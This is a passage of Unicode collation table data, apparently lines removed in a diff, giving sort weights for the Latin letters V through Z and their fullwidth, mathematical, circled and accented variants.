-0076  ; [.1E5E.0020.0002] # LATIN SMALL LETTER V
-FF56  ; [.1E5E.0020.0003] # FULLWIDTH LATIN SMALL LETTER V
-036E  ; [.1E5E.0020.0004] # COMBINING LATIN SMALL LETTER V
-2174  ; [.1E5E.0020.0004] # SMALL ROMAN NUMERAL FIVE
-24B1  ; [*0310.0020.0004][.1E5E.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER V
-1D42F ; [.1E5E.0020.0005] # MATHEMATICAL BOLD SMALL V
-1D463 ; [.1E5E.0020.0005] # MATHEMATICAL ITALIC SMALL V
-1D497 ; [.1E5E.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL V
-1D4CB ; [.1E5E.0020.0005] # MATHEMATICAL SCRIPT SMALL V
-1D4FF ; [.1E5E.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL V
-1D533 ; [.1E5E.0020.0005] # MATHEMATICAL FRAKTUR SMALL V
-1D567 ; [.1E5E.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL V
-1D59B ; [.1E5E.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL V
-1D5CF ; [.1E5E.0020.0005] # MATHEMATICAL SANS-SERIF SMALL V
-1D603 ; [.1E5E.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL V
-1D637 ; [.1E5E.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL V
-1D66B ; [.1E5E.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL V
-1D69F ; [.1E5E.0020.0005] # MATHEMATICAL MONOSPACE SMALL V
-24E5  ; [.1E5E.0020.0006] # CIRCLED LATIN SMALL LETTER V
-0056  ; [.1E5E.0020.0008] # LATIN CAPITAL LETTER V
-FF36  ; [.1E5E.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER V
-2164  ; [.1E5E.0020.000A] # ROMAN NUMERAL FIVE
-1F125 ; [*0310.0020.0004][.1E5E.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER V
-1D415 ; [.1E5E.0020.000B] # MATHEMATICAL BOLD CAPITAL V
-1D449 ; [.1E5E.0020.000B] # MATHEMATICAL ITALIC CAPITAL V
-1D47D ; [.1E5E.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL V
-1D4B1 ; [.1E5E.0020.000B] # MATHEMATICAL SCRIPT CAPITAL V
-1D4E5 ; [.1E5E.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL V
-1D519 ; [.1E5E.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL V
-1D54D ; [.1E5E.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL V
-1D581 ; [.1E5E.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL V
-1D5B5 ; [.1E5E.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL V
-1D5E9 ; [.1E5E.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL V
-1D61D ; [.1E5E.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL V
-1D651 ; [.1E5E.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL V
-1D685 ; [.1E5E.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL V
-24CB  ; [.1E5E.0020.000C] # CIRCLED LATIN CAPITAL LETTER V
-1F165 ; [.1E5E.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER V
-1D5B  ; [.1E5E.0020.0014] # MODIFIER LETTER SMALL V
-1D65  ; [.1E5E.0020.0015] # LATIN SUBSCRIPT SMALL LETTER V
-2C7D  ; [.1E5E.0020.001D] # MODIFIER LETTER CAPITAL V
-1F145 ; [.1E5E.0020.001D] # SQUARED LATIN CAPITAL LETTER V
-1F185 ; [.1E5E.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER V
-1E7D  ; [.1E5E.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER V WITH TILDE
-1E7C  ; [.1E5E.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER V WITH TILDE
-1E7F  ; [.1E5E.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER V WITH DOT BELOW
-1E7E  ; [.1E5E.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER V WITH DOT BELOW
-2175  ; [.1E5E.0020.0004][.1CAD.0020.0004] # SMALL ROMAN NUMERAL SIX
-2165  ; [.1E5E.0020.000A][.1CAD.0020.000A] # ROMAN NUMERAL SIX
-2176  ; [.1E5E.0020.0004][.1CAD.0020.0004][.1CAD.0020.0004] # SMALL ROMAN NUMERAL SEVEN
-2166  ; [.1E5E.0020.000A][.1CAD.0020.000A][.1CAD.0020.000A] # ROMAN NUMERAL SEVEN
-2177  ; [.1E5E.0020.0004][.1CAD.0020.0004][.1CAD.0020.0004][.1CAD.0020.0004] # SMALL ROMAN NUMERAL EIGHT
-2167  ; [.1E5E.0020.000A][.1CAD.0020.000A][.1CAD.0020.000A][.1CAD.0020.000A] # ROMAN NUMERAL EIGHT
-33DE  ; [.1E5E.0020.001D][*0605.0020.001C][.1D25.0020.001C] # SQUARE V OVER M
-1F19A ; [.1E5E.0020.001D][.1DEC.0020.001D] # SQUARED VS
-A761  ; [.1E5E.0020.0004][.1E86.0020.0004] # LATIN SMALL LETTER VY
-A760  ; [.1E5E.0020.000A][.1E86.0020.000A] # LATIN CAPITAL LETTER VY
-1D20  ; [.1E62.0020.0002] # LATIN LETTER SMALL CAPITAL V
-A75F  ; [.1E63.0020.0002] # LATIN SMALL LETTER V WITH DIAGONAL STROKE
-A75E  ; [.1E63.0020.0008] # LATIN CAPITAL LETTER V WITH DIAGONAL STROKE
-1D8C  ; [.1E64.0020.0002] # LATIN SMALL LETTER V WITH PALATAL HOOK
-028B  ; [.1E65.0020.0002] # LATIN SMALL LETTER V WITH HOOK
-01B2  ; [.1E65.0020.0008] # LATIN CAPITAL LETTER V WITH HOOK
-1DB9  ; [.1E65.0020.0014] # MODIFIER LETTER SMALL V WITH HOOK
-2C71  ; [.1E69.0020.0002] # LATIN SMALL LETTER V WITH RIGHT HOOK
-2C74  ; [.1E6A.0020.0002] # LATIN SMALL LETTER V WITH CURL
-1EFD  ; [.1E6B.0020.0002] # LATIN SMALL LETTER MIDDLE-WELSH V
-1EFC  ; [.1E6B.0020.0008] # LATIN CAPITAL LETTER MIDDLE-WELSH V
-028C  ; [.1E6C.0020.0002] # LATIN SMALL LETTER TURNED V
-0245  ; [.1E6C.0020.0008] # LATIN CAPITAL LETTER TURNED V
-1DBA  ; [.1E6C.0020.0014] # MODIFIER LETTER SMALL TURNED V
-0077  ; [.1E70.0020.0002] # LATIN SMALL LETTER W
-FF57  ; [.1E70.0020.0003] # FULLWIDTH LATIN SMALL LETTER W
-1DF1  ; [.1E70.0020.0004] # COMBINING LATIN SMALL LETTER W
-24B2  ; [*0310.0020.0004][.1E70.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER W
-1D430 ; [.1E70.0020.0005] # MATHEMATICAL BOLD SMALL W
-1D464 ; [.1E70.0020.0005] # MATHEMATICAL ITALIC SMALL W
-1D498 ; [.1E70.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL W
-1D4CC ; [.1E70.0020.0005] # MATHEMATICAL SCRIPT SMALL W
-1D500 ; [.1E70.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL W
-1D534 ; [.1E70.0020.0005] # MATHEMATICAL FRAKTUR SMALL W
-1D568 ; [.1E70.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL W
-1D59C ; [.1E70.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL W
-1D5D0 ; [.1E70.0020.0005] # MATHEMATICAL SANS-SERIF SMALL W
-1D604 ; [.1E70.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL W
-1D638 ; [.1E70.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL W
-1D66C ; [.1E70.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL W
-1D6A0 ; [.1E70.0020.0005] # MATHEMATICAL MONOSPACE SMALL W
-24E6  ; [.1E70.0020.0006] # CIRCLED LATIN SMALL LETTER W
-0057  ; [.1E70.0020.0008] # LATIN CAPITAL LETTER W
-FF37  ; [.1E70.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER W
-1F126 ; [*0310.0020.0004][.1E70.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER W
-1D416 ; [.1E70.0020.000B] # MATHEMATICAL BOLD CAPITAL W
-1D44A ; [.1E70.0020.000B] # MATHEMATICAL ITALIC CAPITAL W
-1D47E ; [.1E70.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL W
-1D4B2 ; [.1E70.0020.000B] # MATHEMATICAL SCRIPT CAPITAL W
-1D4E6 ; [.1E70.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL W
-1D51A ; [.1E70.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL W
-1D54E ; [.1E70.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL W
-1D582 ; [.1E70.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL W
-1D5B6 ; [.1E70.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL W
-1D5EA ; [.1E70.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL W
-1D61E ; [.1E70.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL W
-1D652 ; [.1E70.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL W
-1D686 ; [.1E70.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL W
-24CC  ; [.1E70.0020.000C] # CIRCLED LATIN CAPITAL LETTER W
-1F166 ; [.1E70.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER W
-02B7  ; [.1E70.0020.0014] # MODIFIER LETTER SMALL W
-1D42  ; [.1E70.0020.001D] # MODIFIER LETTER CAPITAL W
-1F146 ; [.1E70.0020.001D] # SQUARED LATIN CAPITAL LETTER W
-1F186 ; [.1E70.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER W
-1E83  ; [.1E70.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER W WITH ACUTE
-1E82  ; [.1E70.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER W WITH ACUTE
-1E81  ; [.1E70.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER W WITH GRAVE
-1E80  ; [.1E70.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER W WITH GRAVE
-0175  ; [.1E70.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER W WITH CIRCUMFLEX
-0174  ; [.1E70.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER W WITH CIRCUMFLEX
-1E98  ; [.1E70.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER W WITH RING ABOVE
-1E85  ; [.1E70.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER W WITH DIAERESIS
-1E84  ; [.1E70.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER W WITH DIAERESIS
-1E87  ; [.1E70.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER W WITH DOT ABOVE
-1E86  ; [.1E70.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER W WITH DOT ABOVE
-1E89  ; [.1E70.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER W WITH DOT BELOW
-1E88  ; [.1E70.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER W WITH DOT BELOW
-33DD  ; [.1E70.0020.001D][.1BDB.0020.001C] # SQUARE WB
-1F14F ; [.1E70.0020.001D][.1BF5.0020.001D] # SQUARED WC
-1F18F ; [.1E70.0020.001D][.1BF5.0020.001D] # NEGATIVE SQUARED WC
-1F12E ; [.1E70.0020.000C][.1E9C.0020.000C] # CIRCLED WZ
-1D21  ; [.1E74.0020.0002] # LATIN LETTER SMALL CAPITAL W
-2C73  ; [.1E75.0020.0002] # LATIN SMALL LETTER W WITH HOOK
-2C72  ; [.1E75.0020.0008] # LATIN CAPITAL LETTER W WITH HOOK
-028D  ; [.1E76.0020.0002] # LATIN SMALL LETTER TURNED W
-0078  ; [.1E7A.0020.0002] # LATIN SMALL LETTER X
-FF58  ; [.1E7A.0020.0003] # FULLWIDTH LATIN SMALL LETTER X
-036F  ; [.1E7A.0020.0004] # COMBINING LATIN SMALL LETTER X
-2179  ; [.1E7A.0020.0004] # SMALL ROMAN NUMERAL TEN
-24B3  ; [*0310.0020.0004][.1E7A.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER X
-1D431 ; [.1E7A.0020.0005] # MATHEMATICAL BOLD SMALL X
-1D465 ; [.1E7A.0020.0005] # MATHEMATICAL ITALIC SMALL X
-1D499 ; [.1E7A.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL X
-1D4CD ; [.1E7A.0020.0005] # MATHEMATICAL SCRIPT SMALL X
-1D501 ; [.1E7A.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL X
-1D535 ; [.1E7A.0020.0005] # MATHEMATICAL FRAKTUR SMALL X
-1D569 ; [.1E7A.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL X
-1D59D ; [.1E7A.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL X
-1D5D1 ; [.1E7A.0020.0005] # MATHEMATICAL SANS-SERIF SMALL X
-1D605 ; [.1E7A.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL X
-1D639 ; [.1E7A.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL X
-1D66D ; [.1E7A.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL X
-1D6A1 ; [.1E7A.0020.0005] # MATHEMATICAL MONOSPACE SMALL X
-24E7  ; [.1E7A.0020.0006] # CIRCLED LATIN SMALL LETTER X
-0058  ; [.1E7A.0020.0008] # LATIN CAPITAL LETTER X
-FF38  ; [.1E7A.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER X
-2169  ; [.1E7A.0020.000A] # ROMAN NUMERAL TEN
-1F127 ; [*0310.0020.0004][.1E7A.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER X
-1D417 ; [.1E7A.0020.000B] # MATHEMATICAL BOLD CAPITAL X
-1D44B ; [.1E7A.0020.000B] # MATHEMATICAL ITALIC CAPITAL X
-1D47F ; [.1E7A.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL X
-1D4B3 ; [.1E7A.0020.000B] # MATHEMATICAL SCRIPT CAPITAL X
-1D4E7 ; [.1E7A.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL X
-1D51B ; [.1E7A.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL X
-1D54F ; [.1E7A.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL X
-1D583 ; [.1E7A.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL X
-1D5B7 ; [.1E7A.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL X
-1D5EB ; [.1E7A.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL X
-1D61F ; [.1E7A.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL X
-1D653 ; [.1E7A.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL X
-1D687 ; [.1E7A.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL X
-24CD  ; [.1E7A.0020.000C] # CIRCLED LATIN CAPITAL LETTER X
-1F167 ; [.1E7A.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER X
-02E3  ; [.1E7A.0020.0014] # MODIFIER LETTER SMALL X
-2093  ; [.1E7A.0020.0015] # LATIN SUBSCRIPT SMALL LETTER X
-1F147 ; [.1E7A.0020.001D] # SQUARED LATIN CAPITAL LETTER X
-1F187 ; [.1E7A.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER X
-1E8D  ; [.1E7A.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER X WITH DIAERESIS
-1E8C  ; [.1E7A.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER X WITH DIAERESIS
-1E8B  ; [.1E7A.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER X WITH DOT ABOVE
-1E8A  ; [.1E7A.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER X WITH DOT ABOVE
-217A  ; [.1E7A.0020.0004][.1CAD.0020.0004] # SMALL ROMAN NUMERAL ELEVEN
-216A  ; [.1E7A.0020.000A][.1CAD.0020.000A] # ROMAN NUMERAL ELEVEN
-217B  ; [.1E7A.0020.0004][.1CAD.0020.0004][.1CAD.0020.0004] # SMALL ROMAN NUMERAL TWELVE
-216B  ; [.1E7A.0020.000A][.1CAD.0020.000A][.1CAD.0020.000A] # ROMAN NUMERAL TWELVE
-1D8D  ; [.1E7E.0020.0002] # LATIN SMALL LETTER X WITH PALATAL HOOK
-AB56  ; [.1E7F.0020.0002] # LATIN SMALL LETTER X WITH LOW RIGHT RING
-AB57  ; [.1E80.0020.0002] # LATIN SMALL LETTER X WITH LONG LEFT LEG
-AB58  ; [.1E81.0020.0002] # LATIN SMALL LETTER X WITH LONG LEFT LEG AND LOW RIGHT RING
-AB59  ; [.1E82.0020.0002] # LATIN SMALL LETTER X WITH LONG LEFT LEG WITH SERIF
-AB53  ; [.1E83.0020.0002] # LATIN SMALL LETTER CHI
-A7B3  ; [.1E83.0020.0008] # LATIN CAPITAL LETTER CHI
-AB54  ; [.1E84.0020.0002] # LATIN SMALL LETTER CHI WITH LOW RIGHT RING
-AB55  ; [.1E85.0020.0002] # LATIN SMALL LETTER CHI WITH LOW LEFT SERIF
-0079  ; [.1E86.0020.0002] # LATIN SMALL LETTER Y
-FF59  ; [.1E86.0020.0003] # FULLWIDTH LATIN SMALL LETTER Y
-24B4  ; [*0310.0020.0004][.1E86.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER Y
-1D432 ; [.1E86.0020.0005] # MATHEMATICAL BOLD SMALL Y
-1D466 ; [.1E86.0020.0005] # MATHEMATICAL ITALIC SMALL Y
-1D49A ; [.1E86.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL Y
-1D4CE ; [.1E86.0020.0005] # MATHEMATICAL SCRIPT SMALL Y
-1D502 ; [.1E86.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL Y
-1D536 ; [.1E86.0020.0005] # MATHEMATICAL FRAKTUR SMALL Y
-1D56A ; [.1E86.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL Y
-1D59E ; [.1E86.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL Y
-1D5D2 ; [.1E86.0020.0005] # MATHEMATICAL SANS-SERIF SMALL Y
-1D606 ; [.1E86.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL Y
-1D63A ; [.1E86.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL Y
-1D66E ; [.1E86.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL Y
-1D6A2 ; [.1E86.0020.0005] # MATHEMATICAL MONOSPACE SMALL Y
-24E8  ; [.1E86.0020.0006] # CIRCLED LATIN SMALL LETTER Y
-0059  ; [.1E86.0020.0008] # LATIN CAPITAL LETTER Y
-FF39  ; [.1E86.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER Y
-1F128 ; [*0310.0020.0004][.1E86.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER Y
-1D418 ; [.1E86.0020.000B] # MATHEMATICAL BOLD CAPITAL Y
-1D44C ; [.1E86.0020.000B] # MATHEMATICAL ITALIC CAPITAL Y
-1D480 ; [.1E86.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL Y
-1D4B4 ; [.1E86.0020.000B] # MATHEMATICAL SCRIPT CAPITAL Y
-1D4E8 ; [.1E86.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL Y
-1D51C ; [.1E86.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL Y
-1D550 ; [.1E86.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL Y
-1D584 ; [.1E86.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL Y
-1D5B8 ; [.1E86.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL Y
-1D5EC ; [.1E86.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL Y
-1D620 ; [.1E86.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL Y
-1D654 ; [.1E86.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL Y
-1D688 ; [.1E86.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL Y
-24CE  ; [.1E86.0020.000C] # CIRCLED LATIN CAPITAL LETTER Y
-1F168 ; [.1E86.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER Y
-02B8  ; [.1E86.0020.0014] # MODIFIER LETTER SMALL Y
-1F148 ; [.1E86.0020.001D] # SQUARED LATIN CAPITAL LETTER Y
-1F188 ; [.1E86.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER Y
-00FD  ; [.1E86.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER Y WITH ACUTE
-00DD  ; [.1E86.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER Y WITH ACUTE
-1EF3  ; [.1E86.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER Y WITH GRAVE
-1EF2  ; [.1E86.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER Y WITH GRAVE
-0177  ; [.1E86.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER Y WITH CIRCUMFLEX
-0176  ; [.1E86.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER Y WITH CIRCUMFLEX
-1E99  ; [.1E86.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER Y WITH RING ABOVE
-00FF  ; [.1E86.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER Y WITH DIAERESIS
-0178  ; [.1E86.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER Y WITH DIAERESIS
-1EF9  ; [.1E86.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER Y WITH TILDE
-1EF8  ; [.1E86.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER Y WITH TILDE
-1E8F  ; [.1E86.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER Y WITH DOT ABOVE
-1E8E  ; [.1E86.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER Y WITH DOT ABOVE
-0233  ; [.1E86.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER Y WITH MACRON
-0232  ; [.1E86.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER Y WITH MACRON
-1EF7  ; [.1E86.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER Y WITH HOOK ABOVE
-1EF6  ; [.1E86.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER Y WITH HOOK ABOVE
-1EF5  ; [.1E86.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER Y WITH DOT BELOW
-1EF4  ; [.1E86.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER Y WITH DOT BELOW
-028F  ; [.1E8A.0020.0002] # LATIN LETTER SMALL CAPITAL Y
-024F  ; [.1E8E.0020.0002] # LATIN SMALL LETTER Y WITH STROKE
-024E  ; [.1E8E.0020.0008] # LATIN CAPITAL LETTER Y WITH STROKE
-01B4  ; [.1E92.0020.0002] # LATIN SMALL LETTER Y WITH HOOK
-01B3  ; [.1E92.0020.0008] # LATIN CAPITAL LETTER Y WITH HOOK
-1EFF  ; [.1E96.0020.0002] # LATIN SMALL LETTER Y WITH LOOP
-1EFE  ; [.1E96.0020.0008] # LATIN CAPITAL LETTER Y WITH LOOP
-AB5A  ; [.1E97.0020.0002] # LATIN SMALL LETTER Y WITH SHORT RIGHT LEG
-021D  ; [.1E98.0020.0002] # LATIN SMALL LETTER YOGH
-021C  ; [.1E98.0020.0008] # LATIN CAPITAL LETTER YOGH
-007A  ; [.1E9C.0020.0002] # LATIN SMALL LETTER Z
-FF5A  ; [.1E9C.0020.0003] # FULLWIDTH LATIN SMALL LETTER Z
-1DE6  ; [.1E9C.0020.0004] # COMBINING LATIN SMALL LETTER Z
-24B5  ; [*0310.0020.0004][.1E9C.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER Z
-1D433 ; [.1E9C.0020.0005] # MATHEMATICAL BOLD SMALL Z
-1D467 ; [.1E9C.0020.0005] # MATHEMATICAL ITALIC SMALL Z
-1D49B ; [.1E9C.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL Z
-1D4CF ; [.1E9C.0020.0005] # MATHEMATICAL SCRIPT SMALL Z
-1D503 ; [.1E9C.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL Z
-1D537 ; [.1E9C.0020.0005] # MATHEMATICAL FRAKTUR SMALL Z
-1D56B ; [.1E9C.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL Z
-1D59F ; [.1E9C.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL Z
-1D5D3 ; [.1E9C.0020.0005] # MATHEMATICAL SANS-SERIF SMALL Z
-1D607 ; [.1E9C.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL Z
-1D63B ; [.1E9C.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL Z
-1D66F ; [.1E9C.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL Z
-1D6A3 ; [.1E9C.0020.0005] # MATHEMATICAL MONOSPACE SMALL Z
-24E9  ; [.1E9C.0020.0006] # CIRCLED LATIN SMALL LETTER Z
-005A  ; [.1E9C.0020.0008] # LATIN CAPITAL LETTER Z
-FF3A  ; [.1E9C.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER Z
-1F129 ; [*0310.0020.0004][.1E9C.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER Z
-2124  ; [.1E9C.0020.000B] # DOUBLE-STRUCK CAPITAL Z
-2128  ; [.1E9C.0020.000B] # BLACK-LETTER CAPITAL Z
-1D419 ; [.1E9C.0020.000B] # MATHEMATICAL BOLD CAPITAL Z
-1D44D ; [.1E9C.0020.000B] # MATHEMATICAL ITALIC CAPITAL Z
-1D481 ; [.1E9C.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL Z
-1D4B5 ; [.1E9C.0020.000B] # MATHEMATICAL SCRIPT CAPITAL Z
-1D4E9 ; [.1E9C.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL Z
-1D585 ; [.1E9C.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL Z
-1D5B9 ; [.1E9C.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL Z
-1D5ED ; [.1E9C.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL Z
-1D621 ; [.1E9C.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL Z
-1D655 ; [.1E9C.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL Z
-1D689 ; [.1E9C.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL Z
-24CF  ; [.1E9C.0020.000C] # CIRCLED LATIN CAPITAL LETTER Z
-1F169 ; [.1E9C.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER Z
-1DBB  ; [.1E9C.0020.0014] # MODIFIER LETTER SMALL Z
-1F149 ; [.1E9C.0020.001D] # SQUARED LATIN CAPITAL LETTER Z
-1F189 ; [.1E9C.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER Z
-017A  ; [.1E9C.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER Z WITH ACUTE
-0179  ; [.1E9C.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER Z WITH ACUTE
-1E91  ; [.1E9C.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER Z WITH CIRCUMFLEX
-1E90  ; [.1E9C.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER Z WITH CIRCUMFLEX
-017E  ; [.1E9C.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER Z WITH CARON
-017D  ; [.1E9C.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER Z WITH CARON
-017C  ; [.1E9C.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER Z WITH DOT ABOVE
-017B  ; [.1E9C.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER Z WITH DOT ABOVE
-1E93  ; [.1E9C.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER Z WITH DOT BELOW
-1E92  ; [.1E9C.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER Z WITH DOT BELOW
-1E95  ; [.1E9C.0020.0002][.0000.0049.0002] # LATIN SMALL LETTER Z WITH LINE BELOW
-1E94  ; [.1E9C.0020.0008][.0000.0049.0002] # LATIN CAPITAL LETTER Z WITH LINE BELOW
-018D  ; [.1E9C.0020.0004][.1E70.0020.0004] # LATIN SMALL LETTER TURNED DELTA
-1D22  ; [.1EA0.0020.0002] # LATIN LETTER SMALL CAPITAL Z
-01B6  ; [.1EA1.0020.0002] # LATIN SMALL LETTER Z WITH STROKE
-01B5  ; [.1EA1.0020.0008] # LATIN CAPITAL LETTER Z WITH STROKE
